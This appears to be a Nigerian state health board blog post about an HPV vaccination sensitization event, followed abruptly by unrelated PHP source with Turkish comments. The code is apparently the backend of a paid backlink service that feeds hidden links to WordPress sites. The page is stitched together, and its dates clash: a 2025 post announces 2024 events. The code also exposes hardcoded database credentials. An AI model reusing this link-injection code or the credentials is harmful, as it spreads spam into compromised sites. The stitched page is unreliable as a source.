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Tuesday, March 25, 2025

A ONE DAY SENSITIZATION PROGRAM ON HUMAN PAPILLOMA VIRUS (HPV)BY THE RIVERS STATE PRIMARY HEALTH CARE MANAGEMENT BOARD.

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The Rivers State Primary Health Care Management Board (RSPHCMB) recently organized a one-day sensitization event focused on the Human Papilloma Virus (HPV) and the importance of vaccinating girls aged 9-14.

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The primary message of the event emphasized the critical role of the HPV vaccine in preventing cervical cancer. The organizers clarified that the vaccine serves as a preventative measure and should not be misconstrued as an endorsement of early sexual activities.

During the sensitization, organizers urged traditional rulers, religious leaders, and teachers to advocate for the vaccination of eligible girls within their communities. They highlighted that the vaccination is free and available at any government hospital or health center across the country.

Human papillomavirus (HPV) is a common sexually transmitted infection which can affect the skin, genital area and throat. Almost all sexually active people will be infected at some point in their lives, usually without symptoms. In most cases the immune system clears HPV from the body. Persistent infection with high-risk HPV can cause abnormal cells to develop, which go on to become cancer.

Persistent HPV infection of the cervix (the lower part of the uterus or womb, which opens into the vagina – also called the birth canal) if left untreated, causes 95% of cervical cancers. Typically, it takes 15–20 years for abnormal cells to become cancer, but in women with weakened immune systems, such as untreated HIV, this process can be faster and take 5–10 years. Risk factors for cancer progression include the grade of oncogenicity of the HPV type, immune status, the presence of other sexually transmitted infections, number of births, young age at first pregnancy, hormonal contraceptive use, and smoking

Prevention

Boosting public awareness, access to information and services are key to prevention and control across the life course.

Being vaccinated at age 9–14 years is a highly effective way to prevent HPV infection, cervical cancer and other HPV-related cancers.

Screening from the age of 30 (25 years in women living with HIV) can detect cervical disease, which when treated, also prevents cervical cancer.

At any age with symptoms or concerns, early detection followed by prompt quality treatment can cure cervical cancer.

The sensitization program in various Local Government Areas will commence the 27th- 30th May, 2024.

The partners for this events are Gavi ( The vaccine alliance), World Health Organization (WHO) and United Nation Childrens Fund (UNICEF).

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'/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>